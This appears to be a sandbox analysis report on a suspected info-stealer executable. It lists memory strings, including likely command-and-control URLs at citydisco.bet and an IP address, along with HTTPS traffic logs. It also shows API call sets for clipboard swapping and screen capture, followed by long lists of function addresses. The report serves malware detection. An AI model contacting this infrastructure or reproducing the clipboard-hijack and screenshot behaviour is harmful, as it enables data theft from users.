Source: SoftWare(2).exe1.exe, 00000004.00000003.1410956632.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1387446253.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1410987437.0000000000AE9000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1410866234.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJISgI19r
Source: SoftWare(2).exe1.exe, 00000004.00000002.2595474756.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJISs
Source: SoftWare(2).exe1.exe, 00000004.00000002.2595399499.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.2161497326.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/k
Source: SoftWare(2).exe1.exe, 00000004.00000003.1530102185.0000000000A34000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1485231679.0000000000A34000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.2162805840.0000000000A35000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1461385869.0000000000A34000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000002.2595016861.0000000000A37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet:443/gdJIS
Source: SoftWare(2).exe1.exe, 00000004.00000003.1530102185.0000000000A34000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1485231679.0000000000A34000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.2162805840.0000000000A35000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1461385869.0000000000A34000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000002.2595016861.0000000000A37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet:443/gdJISY
Source: SoftWare(2).exe1.exe, 00000004.00000003.1435235093.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: SoftWare(2).exe1.exe, 00000004.00000003.1435235093.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: SoftWare(2).exe1.exe, 00000004.00000003.1435235093.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: SoftWare(2).exe1.exe, 00000004.00000003.1434885120.000000000372B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: SoftWare(2).exe1.exe, 00000004.00000003.1434885120.000000000372B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: SoftWare(2).exe1.exe, 00000004.00000003.1435235093.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: SoftWare(2).exe1.exe, 00000004.00000003.1435235093.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: SoftWare(2).exe1.exe, 00000004.00000003.1386923547.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: SoftWare(2).exe1.exe, 00000004.00000003.1434885120.000000000372B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: SoftWare(2).exe1.exe, 00000004.00000003.1434885120.000000000372B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: SoftWare(2).exe1.exe, 00000004.00000003.1434885120.000000000372B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: SoftWare(2).exe1.exe, 00000004.00000003.1434885120.000000000372B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: SoftWare(2).exe1.exe, 00000004.00000003.1434885120.000000000372B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49726 version: TLS 1.2

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Code function: 4_2_0043E7C0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

4_2_0043E7C0

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Code function: 4_2_03311000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

4_2_03311000

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Code function: 4_2_0043E7C0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

4_2_0043E7C0

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Code function: 4_2_0043F1BF GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

4_2_0043F1BF

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC31F0	2_2_00DC31F0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC3640	2_2_00DC3640
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF00D0	2_2_00DF00D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC8090	2_2_00DC8090
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD0890	2_2_00DD0890
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE3890	2_2_00DE3890
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF1890	2_2_00DF1890
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC4080	2_2_00DC4080
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DED080	2_2_00DED080
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC58A0	2_2_00DC58A0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DDE0A0	2_2_00DDE0A0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD4040	2_2_00DD4040
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC6070	2_2_00DC6070
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DEF060	2_2_00DEF060
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF3813	2_2_00DF3813
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DDC010	2_2_00DDC010
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC1000	2_2_00DC1000
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DDA820	2_2_00DDA820
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD9020	2_2_00DD9020
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DEA020	2_2_00DEA020
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DDB1E0	2_2_00DDB1E0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD6180	2_2_00DD6180
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DEF9B0	2_2_00DEF9B0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC4940	2_2_00DC4940
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DDC940	2_2_00DDC940
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DCE170	2_2_00DCE170
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF3160	2_2_00DF3160
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE0110	2_2_00DE0110
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE9100	2_2_00DE9100
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00E0C908	2_2_00E0C908
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF2920	2_2_00DF2920
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DCF2D0	2_2_00DCF2D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD52C0	2_2_00DD52C0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DEF2E0	2_2_00DEF2E0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD4290	2_2_00DD4290
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC2280	2_2_00DC2280
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE9AB0	2_2_00DE9AB0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DCEAA0	2_2_00DCEAA0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF6A54	2_2_00DF6A54
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE8A50	2_2_00DE8A50
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE0A10	2_2_00DE0A10
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE6A00	2_2_00DE6A00
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE8200	2_2_00DE8200
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC5220	2_2_00DC5220
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC9220	2_2_00DC9220
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE5220	2_2_00DE5220
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DDF3D0	2_2_00DDF3D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD73F0	2_2_00DD73F0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC6390	2_2_00DC6390
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD3390	2_2_00DD3390
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DDABA0	2_2_00DDABA0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE0350	2_2_00DE0350
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC8340	2_2_00DC8340
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DEEB40	2_2_00DEEB40
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DDFB70	2_2_00DDFB70
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE1370	2_2_00DE1370
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DCC310	2_2_00DCC310
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DCB300	2_2_00DCB300
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DCE4C0	2_2_00DCE4C0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD3CC0	2_2_00DD3CC0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DDCCE0	2_2_00DDCCE0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD0490	2_2_00DD0490
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF3C90	2_2_00DF3C90
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC6C80	2_2_00DC6C80
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD6480	2_2_00DD6480
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE5480	2_2_00DE5480
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF2480	2_2_00DF2480
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC54A0	2_2_00DC54A0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE8450	2_2_00DE8450
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC2C40	2_2_00DC2C40
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DDEC40	2_2_00DDEC40
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE8C40	2_2_00DE8C40
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF3477	2_2_00DF3477
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE5C60	2_2_00DE5C60
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00E01420	2_2_00E01420
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DFB41A	2_2_00DFB41A
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC5C20	2_2_00DC5C20
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DEF5D0	2_2_00DEF5D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF35C0	2_2_00DF35C0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC9580	2_2_00DC9580
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DEDD80	2_2_00DEDD80
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD55B0	2_2_00DD55B0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DEEDB0	2_2_00DEEDB0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DDDD50	2_2_00DDDD50
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DEFD50	2_2_00DEFD50
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD8540	2_2_00DD8540
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DDD560	2_2_00DDD560
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD9500	2_2_00DD9500
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC7D30	2_2_00DC7D30
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DCF530	2_2_00DCF530
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DCAD30	2_2_00DCAD30
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD26F0	2_2_00DD26F0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF1EF0	2_2_00DF1EF0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD2E90	2_2_00DD2E90
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE8690	2_2_00DE8690
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF2E90	2_2_00DF2E90
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DEB680	2_2_00DEB680
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DDC6A0	2_2_00DDC6A0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD7E50	2_2_00DD7E50
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC8640	2_2_00DC8640
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD6E40	2_2_00DD6E40
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC4660	2_2_00DC4660
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DDB630	2_2_00DDB630
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE9630	2_2_00DE9630
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD7620	2_2_00DD7620
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD0E20	2_2_00DD0E20
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF0620	2_2_00DF0620
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC67D0	2_2_00DC67D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC9FF0	2_2_00DC9FF0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DC1790	2_2_00DC1790
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD6790	2_2_00DD6790
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DCB780	2_2_00DCB780
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE0F80	2_2_00DE0F80
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00E0E782	2_2_00E0E782
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DDFF70	2_2_00DDFF70
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DE9F00	2_2_00DE9F00
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DCE730	2_2_00DCE730
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DD9720	2_2_00DD9720
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042B00F	4_2_0042B00F
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00417170	4_2_00417170
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042E9A0	4_2_0042E9A0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00420A00	4_2_00420A00
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0044CAF0	4_2_0044CAF0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00443AB0	4_2_00443AB0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042B350	4_2_0042B350
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00447B50	4_2_00447B50
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00435B69	4_2_00435B69
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00412378	4_2_00412378
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0041C378	4_2_0041C378
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0040BB10	4_2_0040BB10
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0043638D	4_2_0043638D
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0041B570	4_2_0041B570
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0044BE70	4_2_0044BE70
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0041569F	4_2_0041569F
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00443EA0	4_2_00443EA0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00449F27	4_2_00449F27
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00401040	4_2_00401040
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00411040	4_2_00411040
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00443060	4_2_00443060
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0041A870	4_2_0041A870
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042C0C0	4_2_0042C0C0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042C0D1	4_2_0042C0D1
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0044B0D0	4_2_0044B0D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042F0EB	4_2_0042F0EB
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00436917	4_2_00436917
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_004251F0	4_2_004251F0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0043225F	4_2_0043225F
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0043E260	4_2_0043E260
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00423A70	4_2_00423A70
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00408A10	4_2_00408A10
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0040BA30	4_2_0040BA30
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042E2C0	4_2_0042E2C0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_004432C0	4_2_004432C0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00444AD0	4_2_00444AD0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00402AB0	4_2_00402AB0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0040A350	4_2_0040A350
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0041CB18	4_2_0041CB18
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042FB19	4_2_0042FB19
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00434320	4_2_00434320
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00448320	4_2_00448320
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0044AB23	4_2_0044AB23
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0044B330	4_2_0044B330
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042BBC0	4_2_0042BBC0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0044C3C0	4_2_0044C3C0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0044B3D0	4_2_0044B3D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_004163D8	4_2_004163D8
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0041E3DB	4_2_0041E3DB
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_004353D9	4_2_004353D9
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0040FBF0	4_2_0040FBF0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042A383	4_2_0042A383
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00428380	4_2_00428380
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0044BB80	4_2_0044BB80
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00445B90	4_2_00445B90
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00442BB1	4_2_00442BB1
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042045C	4_2_0042045C
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0044B460	4_2_0044B460
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0041DC1A	4_2_0041DC1A
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00424430	4_2_00424430
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00437439	4_2_00437439
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0040D4C0	4_2_0040D4C0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0043E4F0	4_2_0043E4F0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00438490	4_2_00438490
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_004034B0	4_2_004034B0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0040AD50	4_2_0040AD50
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00409570	4_2_00409570
